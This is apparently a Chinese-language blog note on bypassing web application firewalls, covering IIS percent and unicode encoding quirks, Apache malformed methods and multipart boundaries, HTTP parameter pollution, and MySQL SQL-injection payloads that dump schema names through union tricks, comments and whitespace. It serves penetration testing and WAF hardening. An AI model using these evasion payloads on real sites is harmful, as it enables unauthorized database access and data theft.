waf Bypass 笔记
0x02 服务器特性1、%特性（ASP+IIS）
在asp+iis的环境中存在一个特性，就是特殊符号%，在该环境下当们我输入s%elect的时候，在WAF层可能解析出来的结果就是s%elect，但是在iis+asp的环境的时候，解析出来的结果为select。
Ps.此处猜测可能是iis下asp.dll解析时候的问题，aspx+iis的环境就没有这个特性。
2、%u特性（asp+iis和aspx+iis）
Iis服务器支持对于unicode的解析，例如我们对于select中的字符进行unicode编码，可以得到如下的s%u006c%u0006ect，这种字符在IIS接收到之后会被转换为select，但是对于WAF层，可能接收到的内容还是s%u006c%u0006ect，这样就会形成bypass的可能。
3、另类%u特性（ASP+IIS）
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte，但是转换的过程中可能出现： 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065，但是%u00f0同样会被转换成为e。
s%u0065lect->select
s%u00f0lect->select
WAF层可能能识别s%u0065lect的形式，但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。
测试情况：
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
4、apache畸形method
某些apache版本在做GET请求的时候，无论method为何值均会取出GET的内容，如请求为的method为DOTA2，依然返回了aid为2的结果。
php+apache畸形的boundary Php在解析multipart data的时候有自己的特性，对于boundary的识别，只取了逗号前面的内容，例如我们设置的boundary为----aaaa,123456，php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候，有可能获取的是整个字符串，此时可能就会出现BYPASS。
0x03 应用层特性1、变换请求获取方式
GET/POST/COOKOE
2、畸形请求方式
3、HPP参数污染
HPP是指HTTP参数污染。形如以下形式：
?id=1&id=2&id=3的形式，此种形式在获取id值的时候不同的web技术获取的值是不一样的。
假设提交的参数即为：
id=1&id=2&id=3 Asp.net + iis：id=1,2,3 Asp + iis：id=1,2,3 Php + apache：id=30x04 数据库特性
1、MYSQL
第一：参数和union之间的位置
(1):\Nunion的形式：
select * from admin where username=\Nunion (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(2):浮点数的形式如1.1,8.0
select * from admin where username=1.1union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(3):8e0的形式：
select * from admin where username=8e0union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(4): 利用/*!50000*/的形式
select * from admin where username=1/*!50000union*/(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
第二：union和select之前的位置
(1)空白字符
Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%a0；
id=1%23%0aunion select 1,2
(2)注释使用空白注释
MYSQL中可以利用的空白字符有：
/**/
/*letmetest*/
3)使用括号
select * from admin where username=8e0union(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
第三：union select后的位置
(1)空白字符
Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%a0；
(2)注释
使用空白注释
MYSQL中可以利用的空白字符有：
/**/
/*letmetest*/
最后
欢迎关注个人微信公众号：Bypass--，每周原创一篇技术干货。